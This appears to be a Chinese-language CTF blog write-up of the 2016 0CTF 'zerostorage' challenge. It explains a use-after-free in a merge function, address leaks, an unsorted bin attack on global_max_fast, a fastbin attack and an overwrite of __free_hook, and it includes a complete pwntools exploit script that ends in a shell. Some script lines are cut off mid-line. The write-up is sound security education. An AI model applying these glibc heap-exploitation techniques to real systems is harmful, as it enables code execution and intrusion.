2016 0CTF zerostorage

2017-03-17 | ctf_practice

Challenge

这个题难度是比较大的，但是必须要多做难题才行，不然一到线下赛就只能gg了。

逆向出来一个结构体：

```
struct storage
{
        unsigned long used;
        unsigned long length;
        unsigned long pointer;  /*handling by xor*/
}
```

然后是堆块的分配都被控制在128-4096之间，说白了就是无法分配fastbin堆块。

Exploit

Use After Free

merge选项的函数存在use after free漏洞。如果merge_to_id和merge_from_id相同的话，函数会先realloc merge_to_id相应的堆块，然后又会free merge_from_id相应的堆块，这样就能任意读写这个堆块了。

```
-------------------------
|index|used|length|pointer|
| 0   | 1  |  n   |0xabfd0|
| 1   | 0  |  0   |   0   |
| 2   | 1  |  m   |0xabcd0|
-------------------------
```

当两个id的值都是1的时候，realloc后返回的指针(经过xor)存放于index为2的位置的结构体数组中。然后又会从id为1的数组中取出指针处理后free。

```
1  ----------------------
2  | -----------         |  ----------   /*chunk 1是free的堆块*/
3  | | chunk 1 | chunk 2 |  | chunk 3|   /*chunk 2是realloc的堆块*/
4  | -----------         |  ----------   /*chunk 1和chunk 2是同一位置相同大小的堆块
5  ----------------------
6  0x123450
```

先分配几个堆块，然后free其中一个堆块(不能是最后一个堆块，否则会和top chunk合并),然后merge两个相同id的堆块(也不能是最后一块)，这时候这个use-after-free的堆块中会有libc和前一个堆块的地址。由此，我们可以泄露libc和heap的地址。
例如：

```
1  insert(8)  /* chunk 0*/
2  insert(8)  /* chunk 1*/
3  insert(8)  /* chunk 2*/
4  insert(8)  /* chunk 3*/
5
6  delete(0)
7  merge(2, 2)
```

这时候chunk 2就是能use-after-free的那个堆块。此时unsorted bin中有chunk 0和chunk 2。chunk header如下：

```
1   --------------------      --------------------      -------
2   |pre_size|size|fd|bk|      |pre_size|size|fd|bk|      |fd|bk|
3   --------------------      --------------------      -------
4    chunk 0                    chunk 2                 unsorted bin
5
6  unsortedbin.fd = chunk 2
7  unsortedbin.bk = chunk 0
8
9  chunk2.fd = chunk 0
10 chunk2.bk = unsortedbin
11
12 chunk0.fd = unsortedbin
13 chunk0.bk = chunk 2
```

这时view chunk 2就能leak堆和libc的地址了。

Unsorted bin attack(FIFO)

好早就知道这种利用方式，只是一直没做这类题，上次看那个how2heap本来想做一下这题的，可是一直拖到现在。
感觉这个方法威力很强啊，能造成一次内存写的机会！(虽然不能控制内容)还是来分析分析源码：

```
for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim));
          size = chunksize (victim);

          /*......*/

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;  //op1
          bck->fd = unsorted_chunks (av);  //op2
```

只要我们能控制最近加到unsorted bin中的chunk的bk字段(即victim->bk)，那就能造成一次恶意的内存写。

```
         ---------------------->>>---------
        |                                 |
-----------    ---------   ---------    ---------------------
| fd | bk |    | chunk |   | chunk |    |pre_size|size|fd|bk|
-----------    ---------   ---------    ---------------------
         |                   ||                        |  ||
         ---------------------<<<------------<<<-------------
 bin 1    chunk A(high memory) chunk B   Last in chunk(low memory)
```

我们把bk字段设置为我们想要overwrite的address(实际上是addr-0x10)，当进行op1操作时，bin 1的bk字段被赋值为bck，即我们控制的bk字段。当进行op2操作时，address会被赋值为unsorted bin的地址，即bin 1的地址。只要重新malloc漏洞就会触发。

这题可以overwrite global_max_fast的值为unsorted bin的地址(肯定很大)，这样以后分配的chunk都会被当做fastbin来处理。

```
insert(8)  /* remove chunk 0 from unsorted bin */
update(p, 'a'*+ p64(global_max_fast_addr - 0x10))  /*把chunk 2的bk字段改为我们
insert(8)  /*此时global_max_fast会被overwrite为unsortedbin的地址。
```

前面说unsroted bin中此时有chunk 0和chunk 2，但是当再遇到malloc时，glibc会先拿chunk 0进行分配。所以我们得先把chunk 0从unsorted bin中移除。

Fast bin unlink attack(LIFO)

OK，虽然这种方法比较简单，但是还是记录一下。这题确实要对堆的分配相当熟悉才行。

```
+----+----+-----+----+
|    |    |0x100|    |
+----+----+-----+----+
             |     ------------
             |---->|fd=null|bk|
                   ------------
                   0x100
```

假设此时fastbin中的一个bin情况如上，当free一个和它相同大小的chunk时，会加入这个bin中，此时：

```
+----+----+-----+----+
|    |    |0x140|    |
+----+----+-----+----+
             |     -------------
             |---->|fd=0x100|bk| 0x200
                   -------------
                     |     ------------
                     |---->|fd=null|bk| 0x100
                           ------------
```

当下次分配此fastbin中的chunk时，该fastbin的首个chunk即0x200处的chunk会被分配，此时就剩0x100处的chunk。
假设我们能控制0x200处的chunk，我们把fd字段改为我们想要控制的内存区域的首地址，那样再它分配完后，该fastbin中的唯一的chunk的地址会变成我们控制的地址。

```
+----+----+-----------+----+
|    |    |target_addr|    |
+----+----+-----------+----+
```

此时再分配相同大小的chunk，那么malloc会返回target_addr+0x10。不过需要注意的是，我们需要在那里构造一个满足条件的size字段来通过检查。否则size字段不满足就无法分配这个区域的内存。

Script

```
from pwn import *

debug = 1

if debug:
  #context.log_level = "true"
  p = process('./zerostorage')
else:
  pass

def insert(len, data = ''):
  p.recvuntil("Your choice: ")
  p.sendline('1')
  p.recvuntil("Length of new entry: ")
  p.sendline(str(len))
  p.recvuntil("Enter your data: ")
  data = data.ljust(len, 'a')
  #print data
  p.send(data)

def update(index, nlen, data):
  p.recvuntil("Your choice: ")
  p.sendline('2')
  p.recvuntil("Entry ID: ")
  p.sendline(str(index))
  p.recvuntil("Length of entry: ")
  p.sendline(str(nlen))
  p.recvuntil("Enter your data: ")
  p.send(data)

def merge(index1, index2):
  p.recvuntil("Your choice: ")
  p.sendline('3')
  p.recvuntil("Merge from Entry ID: ")
  p.sendline(str(index1))
  p.recvuntil("Merge to Entry ID: ")
  p.sendline(str(index2))

def delete(index):
  p.recvuntil("Your choice: ")
  p.sendline('4')
  p.recvuntil("Entry ID: ")
  p.sendline(str(index))

```

```
45  def view(index):
46    p.recvuntil("Your choice: ")
47    p.sendline('5')
48    p.recvuntil("Entry ID: ")
49    p.sendline(str(index))
50    p.recvline()
51    addr1 = u64( p.recv(8) )
52    addr2 = u64( p.recv(8) )
53    return (addr1, addr2)
54
55
56  insert(8) #0   at leat 8, because the view function outputs the addresses
57  insert(8, '/bin/sh\x00') #0, 1
58  insert(8) #0, 1, 2
59  insert(8) #0, 1, 2, 3 in case consolidating with top chunk
60  insert(8) #0, 1, 2, 3, 4  becuse of merge(3, 3)
61  insert(0x90) #0, 1, 2, 3, 4, 5  #prepare for later fastbin unlink attack.
62  delete(0) #1, 2, 3, 4, 5
63
64  merge(2, 2) #0, 1, 3, 4, 5
65
66  #raw_input("go")
67
68  heap_addr, unsorted_bin_addr = view(0)   #use afrer free to read the conte
69  print "\n[*]unsorted_bin_addr: " + hex(unsorted_bin_addr)
70  print "[*]heap_addr: " + hex(heap_addr)
71
72  #raw_input("go?")
73  libc_base_addr = unsorted_bin_addr - 0x3BE7B8 #find main_arena's address i
74  print "[*]libc_base_addr: " + hex(libc_base_addr)
75
76  #system's address
77  system_addr = libc_base_addr + 0x46590
78  print "[*]system_addr: " + hex(system_addr)
79
80  #global_max_fast's address
81  global_max_fast_addr = libc_base_addr + 0x3C0B40  #find in free-->_int_fre
82  print "[*]global_max_fast_addr: " + hex(global_max_fast_addr)
83
84  #__free_hook's address
85  free_hook_addr = libc_base_addr + 0x3C0A10  #global variable in bss
86  print "[*]free_hook_addr: " + hex(free_hook_addr)
87
88
89  #and now the problem is how to get the address of executeble file.
90  pie_addr = libc_base_addr + 0x5EA000  #offset2libc
91  print "[*]PIE_addr: " + hex(pie_addr)
92
93  bss_addr = pie_addr + 0x203020
94  print "[*]bss_addr: " + hex(bss_addr)
95  #raw_input("go")
96
```

```
#now let's overwrite the global_max_fast using unsorted bin attack
insert(8) #0, 1, 2, 3, 4, 5  #becuse of fastbin's FIRST IN FIRST OUT, so w
update( 0, 16, 'a' * 8 + p64(global_max_fast_addr - 0x10) )
insert(8) #0, 1, 2, 3, 4, 5, 6
#raw_input("\n[*]Finished overwrite global_max_fast. Go?\n")

#now let's take a fastbin unlink attack
merge(3, 3) #0, 1, 2, 4, 5, 6, 7  #first link into fastbin and causing uaf
update(7, 8, p64(bss_addr + 0x40 + 24 * 5) )
insert(8) #0, 1, 2, 3, 4, 5, 6, 7
insert(80) #0, 1, 2, 3, 4, 5, 6, 7, 8, no.8-->bss,also array no.5

#next is to get the key
p.recvuntil("Your choice: ")
p.sendline('5')
p.recvuntil("Entry ID: ")
p.sendline('8')
p.recvuntil("Entry No.8:\n")
r = p.recv(80)
key = u64(r[-8:]) ^ (bss_addr + 0x40 + 24 *5 + 16)
print "[*]key: " + hex(key)
#raw_input("\n[*]Get key. Go?\n")

#overwrite __free_hook with system
update( 8, 32, p64(0xdeadbeef) + p64(1) + p64(8) + p64(free_hook_addr ^ ke
#raw_input("\n[*]replaced no.6's pointer!go?")

#trigger free to call system
update( 6, 8, p64(system_addr) )
delete(1)

print "[*]Get a shell!\n"

p.interactive()
```

脚本里的相关位置的偏移可以根据哪个函数引用它来找到。由于程序开了PIE，但是当泄露了libc的地址后，可以算出程序的base address，libc.so到程序的偏移是一个定值offset2libc。

当leaking key的值的时候很巧妙。因为fastbin分配在了bss段上，更确切的说是全局数组no.5那，返回的地址指向no.5的ptr处，然后我们计算一下离no.8的ptr的距离-0x78。然后我们view一下能得到no.8的ptr的值，然后跟bss_addr + 0x40 + 24 *5 + 16亦或一下就能得到key的值了。

最后由于是Full RELRO，got表不可写，所以只能overwrite __free_hook(或其他的hook函数)。

```
void
__libc_free (void *mem)
{
```

```
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }

  [...]
```

__free_hook函数会在free函数里最开始执行，所以我们可以把它覆盖为system的地址。最后free一个实现准备好了/bin/sh的堆块即可得到shell。

```
root@wolzhang666:/home/wolzhang/Desktop# python zerostorage.py
[+] Starting local process './zerostorage': Done

[*]unsorted_bin_addr: 0x7f2b4dd3c7b8
[*]heap_addr: 0x7f2b4eff0000
[*]libc_base_addr: 0x7f2b4d97e000
[*]system_addr: 0x7f2b4d9c4590
[*]global_max_fast_addr: 0x7f2b4dd3eb40
[*]free_hook_addr: 0x7f2b4dd3ea10
[*]PIE_addr: 0x7f2b4df68000
[*]bss_addr: 0x7f2b4e16b020
[*]key: 0x4b88fd09d5128999
[*]Get a shell!

[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$
```

Links

0CTF 2016 - Zerostorage Writeup

#use-after-free #unsorted bin attack #fastbin unlink attack #PIE #RELRO #offset2libc

‹ 2016 ASIS CTF car-market 2016 BCTF bcloud ›